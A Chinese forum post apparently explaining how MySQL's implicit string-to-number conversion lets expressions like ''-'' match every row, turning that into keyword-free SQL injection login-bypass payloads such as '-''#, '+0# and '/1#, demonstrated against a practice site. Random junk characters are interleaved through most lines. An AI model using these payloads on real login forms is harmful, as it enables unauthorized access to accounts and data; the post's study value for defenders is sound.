找回密码
 立即注册
查看: 2928|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。# a4 {+ F/ {" ]; K2 d! _" I
有以下表结构: 2 O/ ]* G& x, p; o' Q
/ r8 H( d: t! I$ h) Y1 u/ u1 B0 ]* @
mysql> desc admin;; A  O3 `2 j6 y5 D% T
+----------+--------------+------+-----+---------+----------------+# c5 y" C1 ]3 Y' J- @
| Field    | Type         | Null | Key | Default | Extra          |: y- j4 A  j* [/ `' W
+----------+--------------+------+-----+---------+----------------+, C5 m0 g6 I/ h% {% N& j6 K$ D
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |% Q- I: H/ R: W
| name     | char(32)     | NO   | UNI | NULL    |                |: {3 b* s8 p1 f
| password | char(32)     | NO   | UNI | NULL    |                |
' Q7 {* \: v7 w: ?( ~+----------+--------------+------+-----+---------+----------------+
+ @* ]( [% W& `' x$ Q; t5 j3 rows in set (0.00 sec)& o: f9 v3 w  J$ j" V+ e( O9 {
执行select * from admin;,成功返回所有记录内容。6 M- \- {! A. Q

% @# y) f+ d4 O8 y5 Q
: @6 G; H2 c& V/ c+ I+----+--------+----------------------------------+% g0 @5 y3 b! n
| id | name   | password                         |
) C! f9 L) |4 v4 F+----+--------+----------------------------------+
, ?$ A2 `/ m7 ?+ q' l|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |# Q  d  g) k, g& y* `
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |' u- c2 B3 z0 ^5 d: a
|  4 | n00b   | ff80e8508d39047460921792273533a4 |* E; l+ q# V/ q
+----+--------+----------------------------------+
, L6 r. R! Y, V$ N3 rows in set (0.00 sec)8 ~# R8 y% Y% m% W5 x; ^3 r
执行select * from admin where name=”;,没有匹配到任何记录。
, r/ J6 H( P6 ~" o7 J0 I2 c" @3 [: C, Z# h- N) y+ q$ s
mysql> select * from admin where name = '';
, z/ x! w  L- ^6 _. i: f* sEmpty set (0.00 sec)
2 z; d- N# C5 ~) U  {- L1 K; V- K那么我们来执行select * from admin where name = ”-”;
1 f/ |% O/ W+ E. _' _: v6 `- F9 s2 {3 [

- }% V% r5 w0 a- e. U1 A/ i' a. Q2 x+----+--------+----------------------------------+
* H) l" I1 \. L$ w1 |  C| id | name   | password                         |
' e$ P8 ]6 }$ N% ^) h8 `) X+----+--------+----------------------------------+
& R) u2 z6 g! x3 l|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
( {& `# b" n$ c# J|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |. `+ Z% _1 F# G% Q
|  4 | n00b   | ff80e8508d39047460921792273533a4 |  C9 D4 i" p) A2 Z
+----+--------+----------------------------------+
- G% w- {# `( N' m3 rows in set, 3 warnings (0.00 sec)  J* g3 P/ m, s! {
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: & b; Q/ M- a9 N  M; D: z1 o
% @5 Z2 R* u) _, F2 M9 m
mysql> show warnings;
& p2 t0 j4 d/ v/ O! @5 \+---------+------+------------------------------------------
7 k# _7 v$ _+ V' y/ P4 _' h- `( r- e| Level   | Code | Message- X' g" @2 P4 `; Q
+---------+------+------------------------------------------
. U2 ^1 [2 f7 J4 R| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin7 _- V0 K9 N7 p5 f. G$ B* y
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
& a# u/ j& a. |0 N/ V) k5 j| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
0 m9 ?2 o, ?( [2 v, g+ R+---------+------+------------------------------------------
# P9 u4 p' X+ }4 L: j$ ]7 y3 rows in set (0.00 sec)
4 x8 D: s% k( d- B' e, r) d提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 0 `7 b- O, a" `  `' o
; I$ r' A, \* x2 o
mysql> select ''-'';- \8 H( B# |4 i4 t9 z
+-------+( {, f! K2 @5 x. d3 ^
| ''-'' |! }' [; T* A: D8 ?
+-------+6 l) `% u) _5 j7 K& M& N8 S' O
|     0 |
/ c5 Y2 Z/ @& p- d) t+-------+
  ]6 B) q9 }$ S7 h) _0 a; @0 c; d1 row in set (0.00 sec)# R0 }9 M' K0 }
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 3 X" |' x* w" j' E9 A, t  g" l
) D, I  e1 H4 Y
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
  c3 c) E" ]" f" x' q# j! h5 x0 S$ f+-----------------------------------------------------+
/ ]6 M0 _' U" Z- M+ d7 i| CAST((select name from admin limit 1,1) as DECIMAL) |
- z( D; A" u9 l6 Y+-----------------------------------------------------+
% [( [! P7 G; l, V, j9 Z* Z0 Q|                                                   0 |
5 K& o& ^- i4 n" K: W+-----------------------------------------------------+
+ g" G0 C, H: C, @& E5 _  f1 row in set, 1 warning (0.00 sec)
! a; Z. R) p: V8 m因此where语句构成了相等的条件,where 0=”=”,记录被返回。
. @& {, D4 v1 z8 K: g; f4 }0 A; C
SQL注入场景: http://www.sqlzoo.net/hack/
* Q# h) h; P: M
% j* z$ `  |% \9 q5 D( j
- g( Z2 b; d7 A- l1 C8 Q  j- o# T2 @: _2 C

- H8 N; L$ ~1 s7 Y8 n  V  A3 A! A如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
0 P/ b- ?5 i9 S' Y
  b' p; L& j2 P; D/ |1 Z4 U7 I! `, A  o那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
7 b" o/ H9 ^: M- F6 v5 s' H( U4 K: C1 ]) p8 }
& Y7 m' m, J8 g  b9 E

+ {1 E+ u' c8 A/ g* l" [3 h. k+ S+ C3 E; F( W/ T# N1 {: @( j
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 : ]9 O* N% c  J, V& Y2 d

) D9 H$ U( j& j3 R8 h; q5 Z   * q, ^& T$ X9 Z0 d$ u
( q3 n# p: [  U
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
4 W2 s1 M% y5 ~8 ]% t( m4 m' g: M
" I2 i0 U; z7 B; k5 g+ L* ^1 ]. S$ |8 ^! ~* c$ B
mysql> select ''/1;
* W2 T0 N6 t  W: I/ q+------+
0 r6 Q9 _9 j* V* Q) N0 G( B| ''/1 |, i! m! f: O5 h3 G" f; f* N
+------+2 U# ~. L3 L5 g4 n, V. S6 l, O
|    0 |
8 \7 Y" s+ a5 [4 y( ?+------+7 S- b* W; \6 b& q" `! }
1 row in set (0.00 sec)
: d9 f. d# ^3 ?5 o# F+ @2 w3 N类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  , u) ^0 k$ Q2 ?0 h1 ]9 P
0 Q. M. z1 z# E+ b' g, [- k* o# E
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。. M( D0 l1 e' ]8 C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表